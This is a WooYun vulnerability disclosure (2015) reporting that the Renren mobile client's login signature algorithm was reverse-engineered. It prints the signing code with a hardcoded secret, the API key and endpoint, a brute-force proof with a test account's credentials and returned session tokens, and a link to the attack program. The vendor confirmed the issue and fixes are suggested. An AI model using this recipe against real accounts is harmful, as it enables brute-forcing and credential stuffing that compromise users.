当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0106692

漏洞标题:逆向人人客户端,破解校验算法之<暴力破解+撞库>

相关厂商:人人网

漏洞作者: 小手冰凉

提交时间:2015-04-09 12:00

修复时间:2015-05-24 13:56

公开时间:2015-05-24 13:56

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-09: 细节已通知厂商并且等待厂商处理中
2015-04-09: 厂商已经确认,细节仅向厂商公开
2015-04-19: 细节向核心白帽子及相关领域专家公开
2015-04-29: 细节向普通白帽子公开
2015-05-09: 细节向实习白帽子公开
2015-05-24: 细节向公众公开

简要描述:

逆向人人客户端,破解校验算法之<暴力破解+撞库>
这是多年之前的发现了,写出来纪念那些日子,纪念那些被我爆破过的过客。。。。。

详细说明:

正常登陆人人,进行抓包,发现了比较多的字段

url:
http://api.m.renren.com/api
字段:
method 固定值 client.login
client_info 手机信息
gz 固定值 compression
v 固定值 1.0
format 固定值 JSON
uniq_id 固定值 000000000000000
api_key 固定值 8b281811f80c471c8d337f5434dd5708(官方从这里应该能查出软件版本)
user 用户邮箱
password 用户密码 md5加密
call_id 时间戳
sig 校验字段


从上面不难看出除了sig这个字段之外其他都好说,产生数据后进行提交发现产生异常提示sig字段不正确。现在没办法只能逆向去计算这个sig值到底怎么计算出来的。具体过程比较复杂最后逆向出如下

paras.Sort(new ParameterComparer());//paras为提交的所有字段的键值名和键值对,先进行排序
StringBuilder sbList = new StringBuilder();
foreach (APIParameter para in paras)
{
string temp = para.Name + "=" + para.Value;//将每个排序后的键值名和键值对进行排序之后按照这个格式进行拼接起来
if (temp.Length >= 62)//如果单个字符串超过62位要进行截取。这里简直要了我的老命,调试了一天才弄对
sbList.Append(temp.Substring(0, 62));
else
sbList.Append(temp);
}
sbList.Append("91c82b04d85549e3af738a0ad605ab95");//最后在字符串结尾拼接上这个字符串,据估计这个应该是带有版本信息的hash
sig = HttpUtil.MD5Encrpt(sbList.ToString());//最后计算md5就得到了sig


按照这个方法再提交就能正常了,然后分析范围值,来确定密码时候正确,这里注意即使出现error_code 10000 密码仍然是正确的。
危害是可以进行暴力破解,当然也可以搞现在流行的撞库。
以上是大约两年前发现的问题,现在测试仍然存在,当时写了一个暴力破解程序,附在后面。请使用测试程序进行测试,源码都在里面。因为是vs的项目文件太多,只能百度云共享,厂家验证后如果感觉不合适请及时通知我取消分享

漏洞证明:

用我自己的账号进行测试爆破,我把自己的密码放在最后。

QQ图片20150408213610.png


QQ图片20150408213620.png


效率的话是代码写的比较久了 当时也不回优化。
下面是使用刚申请的账号进行测试。

用户名:kefcjmqy@mail.bccto.me 密码:kefcjmqy


随便生成2000个不正确的密码。然后把正确密码分别放在最后和最前面,测试结果如下

捕获.PNG


如上可以看出一共两次爆破出正确密码

68	kefcjmqy	jieya:{"session_key":"t2dwompKw2BslD3k","ticket":"0q2rVlw2HkZP6wNIEk6cd3","uid":872836293,"secret_key":"783916370cb7c7d40e80169f01b54603","user_name":"玩啊啊","head_url":"http://a.xnimg.cn/wap/figure/head100.png","now":1428551073258,"login_count":1,"fill_stage":0,"is_guide":1,"vip_url":"http://i.renren.com/client/icon?uid=","vip_icon_url":"","web_ticket":"05e2d659b7527c8abe96680c85f932933","uniq_key":"197eab97f9b154ad26ceea0a586c322c"}


这是第一次,是在第68个破解时正确

2115	kefcjmqy	jieya:{"error_code":10000,"error_msg":"登录失败,请重试"}


如上面所说返回"error_code":10000也是密码正确,这次是第2115次爆破。

修复方案:

禁用老版本的应用
次数过滤等
建议把校验算法等比较关键的东西写入jni中,提高逆向的门槛
链接: http://pan.baidu.com/s/1pJBPwc7 密码: uqg3
如果有问题请私信我,如果感觉不合适请私信我关闭分享

版权声明:转载请注明来源 小手冰凉@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-04-09 13:55

厂商回复:

非常感谢!

最新状态:

暂无